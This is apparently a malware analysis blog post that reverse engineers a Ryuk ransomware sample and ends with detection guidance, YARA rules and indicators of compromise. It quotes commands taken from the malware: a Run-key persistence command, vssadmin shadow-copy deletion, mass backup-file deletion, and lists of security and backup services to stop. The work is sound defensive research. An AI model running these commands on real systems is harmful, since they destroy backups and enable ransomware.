Deep technical malware analysis reports, reverse engineering tools, unpacked stages, and recreated TTPs with detections for infamous malware families.
Ryuk is a high-impact ransomware family operated by the threat actor group Wizard Spider — the same crew behind TrickBot and Emotet. What makes Ryuk genuinely dangerous is not novelty in any single component but the way it combines them: a remarkably fast multi-threaded encryptor built on AES-256 and RSA, mass process injection that clones the ransomware into nearly every running process to parallelise the damage, Run key persistence so it survives reboots, and network share enumeration that pushes the blast radius well beyond the initially infected host.
This post walks through the full reverse engineering of a Ryuk sample end to end — from the initial dropper through persistence, privilege escalation and injection, into the HERMES-derived encryptor, backup destruction and service termination — with the debugger screenshots taken during the analysis.
⚠️ Note: This is a re-write by AI, but have been vetted by Author.
📄 The original report is also available as a PDF. Samples (password
infected), recreated TTP code and helper scripts are in the GitHub repository.
| # | Finding |
|---|---|
| 1 | Multi-threading encryptor — Ryuk spawns a new thread per file, making the encryption phase extremely fast and leaving very little reaction time. |
| 2 | AES + RSA encryption — each file gets a freshly generated AES-256 key, which is itself encrypted with the attacker’s embedded public key and appended to the file. Without the private key, recovery is not possible. |
| 3 | Process injection — Ryuk injects a full copy of itself into nearly every enumerated process, evading detection and multiplying throughput. |
| 4 | Exponential speed increase — because many injected instances encrypt concurrently, infection speed scales with the number of running processes. |
| 5 | Network share encryption — it actively enumerates and encrypts network shares, turning a single-host infection into an organisation-wide event. |
| 6 | HERMES lineage — the encryptor is the HERMES ransomware encryptor; delivery, persistence and injection differ, but the crypto core is shared, right down to the HERMES file marker. |
| 7 | Backup destruction — shadow copies, recovery options and a wide list of backup file extensions are wiped via a dropped batch script. |
| 8 | Service termination — embedded strings target ~180 security, backup and database services and ~45 processes for shutdown before encryption. |

The chain is compact and linear:
Detonating the sample produced an immediately informative process tree — the dropper extracts stage 2, which in turn shells out to modify the registry:

The observed chain:
yxrNV.exe ← stage 2, launched with the original sample path as its parameter
"C:\users\Public\yxrNV.exe" C:\Users\shaddy\Desktop\23f8aa94...db2.exe
cmd.exe
"C:\Windows\System32\cmd.exe" /C REG ADD
"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
/v "svchos" /t REG_SZ /d "C:\users\Public\yxrNV.exe" /f
reg.exe
REG ADD "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
/v "svchos" /t REG_SZ /d "C:\users\Public\yxrNV.exe" /f
Shortly after detonation, repeated UAC prompts appeared requesting admin rights for cmd
— a consequence of running the dropper without elevation. Those prompts conveniently revealed
where stage 2 and an additional malicious .bat file had been written.
Several files were created in Users\Public with hidden attributes:

Static analysis of the dropper surfaces a large number of suspicious strings — but nearly all of them actually belong to the embedded stage 2 payload, so rather than listing them, here is what the dropper actually does:

Users\PublicDocuments\Default User.exe.CreateFileW at the chosen path, setting hidden attributes.ShellExecuteW, passing the dropper’s own path as a parameter.That last step is what enables stage 2 to delete its parent.
Static strings from stage 2 telegraph almost the entire behaviour set:

| # | String |
|---|---|
| 1 | \Documents and Settings\Default User\finish, \Documents and Settings\Default User\sys |
| 2 | \users\Public\window.bat |
| 3 | \users\Public\finish, \users\Public\sys |
| 4 | UNIQUE_ID_DO_NOT_REMOVE |
| 5 | SeDebugPrivilege |
| 6 | csrss.exe, explorer.exe, lsaas.exe |
| 7 | RyukReadMe.txt |
| 8 | \System32\cmd.exe |
| 9 | /C REG ADD "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "svchos" /t REG_SZ /d " /reg:64 |
The first thing Ryuk checks is whether a parameter was passed to it. That parameter is the dropper’s path — and Ryuk deletes the dropper to reduce suspicion.

The sequence is GetCommandLineW → CommandLineToArgvW → DeleteFileW: read the argument,
resolve it to a path, delete it.
It then establishes persistence by abusing the Run registry key, appending its own path
and executing the command through cmd:

"C:\Windows\System32\cmd.exe" /C REG ADD
"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
/v "svchos" /t REG_SZ /d "C:\users\Public\yxrNV.exe" /f
The value name is svchos — a deliberate near-miss for the legitimate svchost, designed
to survive a casual eyeball of the Run key:

At every startup, stage 2 is executed again from the Public folder.
Ryuk relies on social engineering to be launched with admin rights in the first place, then
performs token manipulation to grant itself what it needs — specifically
SeDebugPrivilege, without which it could not inject into higher-privileged processes.
It checks for the privilege using LookupPrivilegeValueW and then adjusts the current token:

Ryuk enumerates every running process, recording integrity level, PID and other metadata into an array, using the standard toolhelp APIs:
CreateToolhelp32Snapshot
Process32FirstW
Process32NextW
Ryuk then injects itself into every enumerated process, with only a short exclusion list of processes whose failure would destabilise the system:
lsass.exe
explorer.exe
csrss.exe
The injection itself is textbook — no exotic tradecraft, just the classic trio:
VirtualAllocEx → WriteProcessMemory → CreateRemoteThread
The payoff is speed: with a copy of Ryuk live inside dozens of processes, encryption runs
massively in parallel. In the screenshot below, sihost contains an injected RWX region
beginning with 4D 5A (MZ) — a full PE:

Dumping that region yields a broken executable — memory-dumped PEs have mangled addresses. Running it through pe_unmapper by hasherezade repairs it, and loading the result into IDA confirms it is byte-for-byte the same Ryuk sample. The PDB path gives it away:

To summarise the injection phase:
CreateToolhelp32Snapshot, except lsass.exe,
explorer.exe and csrss.exe.
To reach the encryptor without fighting through mass injection, the simplest route was to patch out the call. IDA maps assembly to hex side by side, making it easy to locate the call bytes for the injection subroutine:

The bytes E8 20 06 00 00 are the call into the process injection routine. Replacing them
with 90 90 90 90 90 (NOP) makes Ryuk skip injection entirely and proceed straight to
encryption:

The encryption routine begins by importing every required API at run-time — the encryptor is heavily obfuscated and imports nothing statically. Dynamic analysis exposes them trivially where static analysis would not:

Rather than stepping through them one by one, the patched sample (with injection NOP’d out) was run under tiny_tracer, which logs every API call automatically:

The most interesting APIs resolved at run-time:
CryptAcquireContextW CryptGenKey CryptDeriveKey CryptEncrypt
CryptDecrypt CryptExportKey CryptImportKey CryptDestroyKey
FindFirstFileW FindNextFileW GetLogicalDrives GetDriveTypeW
WNetEnumResourceW WNetCloseEnum GetIpNetTable CreateThread
CreateProcessA CreateProcessW ShellExecuteW WinExec
CreateFileA ReadFile WriteFile GetFileSize
GetFileSizeEx MoveFileExW CopyFileA DeleteFileW
SetFileAttributesW RegOpenKeyExW RegQueryValueExA RegSetValueExW
RegDeleteValueW GetUserNameA GetCommandLineW GetStartupInfoW
GetWindowsDirectoryW GetModuleFileNameA GetCurrentProcess GetTickCount
CoCreateInstance VirtualAlloc Sleep ExitProcess
The encryptor uses AES-256, evident from the arguments passed to CryptAcquireContextW —
the container AES_unique and the Microsoft Enhanced RSA and AES Cryptographic Provider:

The encryption sequence:
FindFirstFileW / FindNextFileW.RyukReadMe.txt) into every directory it walks.HERMES plus a meta blob. That meta is the file’s AES key encrypted with the
attacker’s embedded public key.
Before encrypting, Ryuk checks whether the file already ends with the HERMES keyword and
meta. If it does, the file is skipped — preventing destructive double encryption that would
make even paid recovery impossible:

This is the clearest evidence of lineage: Ryuk uses the same encryptor as HERMES ransomware. Delivery, persistence and continuous injection are all different, but the encryptor function is HERMES’:

Ryuk looks for reachable network shares and feeds their paths straight into the encryptor,
using WNetOpenEnumW — clearly visible in the tiny_tracer logs:

This is what turns a single compromised endpoint into a lateral, organisation-wide impact event.
Ryuk removes shadow copies and recovery options by dropping a batch file and running it as admin. Without elevation it simply prompts the user — which is why the UAC prompts appeared during detonation:

The script wipes shadow storage, deletes a broad sweep of backup file types, and finally
deletes itself (del %0):
vssadmin Delete Shadows /all /quiet
vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB
vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB
vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
... (repeated for drives e:, f:, g:, h:)
vssadmin Delete Shadows /all /quiet
del /s /f /q c:\*.VHD c:\*.bac c:\*.bak c:\*.wbcat c:\*.bkf c:\Backup*.* c:\backup*.* c:\*.set c:\*.win c:\*.dsk
del /s /f /q d:\*.VHD d:\*.bac d:\*.bak d:\*.wbcat d:\*.bkf d:\Backup*.* d:\backup*.* d:\*.set d:\*.win d:\*.dsk
... (repeated for drives e:, f:, g:, h:)
del %0
Ryuk carries a large set of embedded strings indicating it stops services and kills processes before encrypting — freeing file locks on databases, mail stores and backups so those files can be encrypted too.
Note: this behaviour was not observed executing in the analysed sample; the strings are present in the binary. It remains a TTP worth hunting for.
Roughly 180 services are targeted with net stop, spanning backup, security and database
products:
Acronis (AcronisAgent, AcrSch2Svc, "Acronis VSS Provider")
Sophos (SAVService, SAVAdminService, SepMasterService, sophossps, swi_*, "Sophos * Service")
Veeam ("Veeam Backup Catalog Data Service", Veeam*Svc, MSSQL$VEEAMSQL2008R2/2012)
Backup Exec (BackupExec* — Agent, JobEngine, RPCService, VSSProvider, …)
McAfee (McShield, McAfeeEngineService, McAfeeFramework, mfemms, mfevtp, mfefire)
Symantec / Malwarebytes / Trend Micro (SepMasterService, MBAMService, ntrtscan, TmCCSF, tmlisten)
Kaspersky (AVP, klnagent, kavfsslp, KAVFSGT, KAVFS)
ESET (EhttpSrv, ekrn, ESHASRV)
Microsoft SQL (MSSQL*, MSSQLFDLauncher*, SQLAgent*, SQLBrowser, SQLWriter, SQLSERVERAGENT)
Exchange (MSExchangeES, MSExchangeIS, MSExchangeMGMT, MSExchangeMTA, MSExchangeSA, MSExchangeSRS)
MySQL / Oracle (MySQL80, MySQL57, OracleClientCache80)
IIS / mail (IISAdmin, W3Svc, SMTPSvc, POP3Svc, IMAP4Svc, RESvc)
Other (wbengine, SDRSVC, SamSs, TrueKey*, Zoolz 2 Service, EPSecurityService, …)
And roughly 45 processes are terminated with taskkill /IM <name> /F:
Databases sqlservr.exe sqlagent.exe sqlbrowser.exe sqlwriter.exe sqbcoreservice.exe
mysqld.exe mysqld-nt.exe mysqld-opt.exe oracle.exe ocssd.exe dbeng50.exe
dbsnmp.exe msftesql.exe encsvc.exe agntsvc.exe isqlplussvc.exe xfssvccon.exe
Office excel.exe winword.exe powerpnt.exe msaccess.exe mspub.exe onenote.exe
outlook.exe visio.exe infopath.exe wordpad.exe
Mail thebat.exe thebat64.exe thunderbird.exe tbirdconfig.exe firefoxconfig.exe
Security tmlisten.exe PccNTMon.exe CNTAoSMgr.exe Ntrtscan.exe mbamtray.exe
Backup zoolz.exe synctime.exe mydesktopqos.exe mydesktopservice.exe
Other steam.exe ocautoupds.exe ocomm.exe
| # | Tactic | Technique | Sub-technique | Where |
|---|---|---|---|---|
| 1 | Defense Evasion | Obfuscated Files or Information | Embedded payload | Stage 1 dropper |
| 2 | Defense Evasion | Indicator Removal | File Deletion | Stage 2 deletes stage 1 |
| 3 | Persistence | Boot or Logon Autostart Execution | Registry Run Keys / Startup Folder | Persistence |
| 4 | Privilege Escalation | Access Token Manipulation | — | Privilege escalation |
| 5 | Discovery | Process Discovery | — | Process enumeration |
| 6 | Defense Evasion | Process Injection | Portable Executable Injection | Process injection |
| 7 | Defense Evasion | Obfuscated Files or Information | Dynamic API Resolution | Encryptor (obfuscated APIs) |
| 8 | Impact | Data Encrypted for Impact | — | Encryption |
| 9 | Discovery | Network Share Discovery | — | Network enumeration |
| 10 | Impact | Inhibit System Recovery | — | Delete backups |
| 11 | Impact | Service Stop | — | Service stop |
See the full project matrix on the ATT&CK coverage page.
cmd.exe /C REG ADD ... \CurrentVersion\Run /v "svchos" — the misspelled svchos value
name pointing at an executable in C:\Users\Public\ is close to a signature on its own.C:\Users\Public\ or Documents\Default User\ with a
random 5-character name, immediately followed by execution.vssadmin Delete Shadows /all /quiet and vssadmin resize shadowstorage — the single
highest-value ransomware detection available, and worth alerting on unconditionally.net stop / taskkill /F sequences against backup, database and AV services.CreateRemoteThread activity from one process into many targets in quick succession,
particularly with RWX allocations whose contents begin with MZ.SeDebugPrivilege being enabled via AdjustTokenPrivileges shortly after process start.WNetOpenEnumW / WNetEnumResourceW enumeration immediately preceding heavy file I/O.HERMES, and the appearance of RyukReadMe.txt in
many directories..bat file dropped to C:\Users\Public\window.bat that deletes itself with del %0.Two hunting rules written during this analysis:
rule Ryuk_Ransomware_Dropper {
meta:
description = "Ryuk Ransomware dropper hunting rule"
author = "Shayan Ahmed Khan - shaddy43"
date = "22-11-2023"
rule_version = "v1"
malware_type = "ransomware"
hash = "23F8AA94FFB3C08A62735FE7FEE5799880A8F322CE1D55EC49A13A3F85312DB2"
strings:
$s1 = "\\Documents and Settings\\Default User" wide
$s2 = "\\users\\Public\\" wide
$s3 = "C:\\Users\\Admin\\Documents\\Visual Studio 2015\\Projects From Ryuk\\ConsoleApplication54\\x64\\Release\\ConsoleApplication54.pdb" ascii
$s4 = "vssadmin Delete Shadows /all /quiet" ascii
$s5 = "vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB" ascii
$s6 = "del /s /f /q c:\\*.VHD c:\\*.bac c:\\*.bak c:\\*.wbcat c:\\*.bkf c:\\Backup*.* c:\\backup*.* c:\\*.set c:\\*.win c:\\*.dsk" ascii
$s7 = "stop Antivirus /y" fullword ascii
$s8 = "/IM excel.exe /F" fullword ascii
condition:
( uint16(0) == 0x5a4d and
filesize < 400KB and
( 2 of ($s*) and
4 of them ) ) or
( all of them )
}
rule Ryuk_Ransomware {
meta:
description = "Ryuk Ransomware hunting rule"
author = "Shayan Ahmed Khan - shaddy43"
date = "22-11-2023"
rule_version = "v1"
malware_type = "ransomware"
hash = "8B0A5FB13309623C3518473551CB1F55D38D8450129D4A3C16B476F7B2867D7D"
strings:
$s1 = "C:\\Users\\Admin\\Documents\\Visual Studio 2015\\Projects From Ryuk\\ConsoleApplication54\\x64\\Release\\ConsoleApplication54.pdb" ascii
$s2 = "AdjustTokenPrivileges" fullword ascii
$s3 = "vssadmin Delete Shadows /all /quiet" ascii
$s4 = "vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB" ascii
$s5 = "del /s /f /q c:\\*.VHD c:\\*.bac c:\\*.bak c:\\*.wbcat c:\\*.bkf c:\\Backup*.* c:\\backup*.* c:\\*.set c:\\*.win c:\\*.dsk" ascii
$s6 = "stop Antivirus /y" fullword ascii
$s7 = "/IM excel.exe /F" fullword ascii
$s8 = "System32\\cmd.exe" wide
$s9 = "/C REG ADD \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\"" wide
$s10 = "SeDebugPrivilege" fullword wide
$s11 = "\\Documents and Settings\\Default User\\finish" wide
$s12 = "\\users\\Public\\finish" wide
$s13 = "csrss.exe" fullword wide
$s14 = "explorer.exe" fullword wide
$s15 = "lsass.exe" fullword wide
$s16 = "\\Documents and Settings\\Default User\\sys" wide
$s17 = "\\users\\Public\\sys" wide
$s18 = "UNIQUE_ID_DO_NOT_REMOVE" wide
$s19 = "\\users\\Public\\window.bat" wide
$s20 = "HERMES" wide
condition:
( uint16(0) == 0x5a4d and
filesize < 200KB and
( 1 of ($s*) and
8 of them ) ) or
( all of them )
}
| TTP | Description | Code |
|---|---|---|
| Data Encrypted for Impact (T1486) | Recreation of the Ryuk multi-threaded AES encryptor, with a PowerShell helper to generate test files | Write-up · Code |
Hashes (SHA-256)
23f8aa94ffb3c08a62735fe7fee5799880a8f322ce1d55ec49a13a3f85312db2 stage 1 dropper
8b0a5fb13309623c3518473551cb1f55d38d8450129d4a3c16b476f7b2867d7d stage 2 Ryuk
Host artefacts
C:\Users\Public\<5 random chars>.exe stage 2, hidden attributes
C:\Users\Public\window.bat shadow copy deletion script
C:\Users\Public\finish C:\Users\Public\sys marker files
\Documents and Settings\Default User\finish alternate path variant
\Documents and Settings\Default User\sys alternate path variant
RyukReadMe.txt ransom note, dropped per directory
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run value "svchos"
HERMES marker appended to encrypted files
UNIQUE_ID_DO_NOT_REMOVE embedded identifier string
PDB path (present in both stages)
C:\Users\Admin\Documents\Visual Studio 2015\Projects From Ryuk\ConsoleApplication54\x64\Release\ConsoleApplication54.pdb
⚠️ The samples in this repository are live malware, stored in archives with the password
infected. Detonate only inside an isolated, network-controlled VM with no access to production data. See SECURITY.md.
The artifacts, code and analysis in this repository are provided strictly for educational and research purposes. I do not condone or support any malicious use of this material.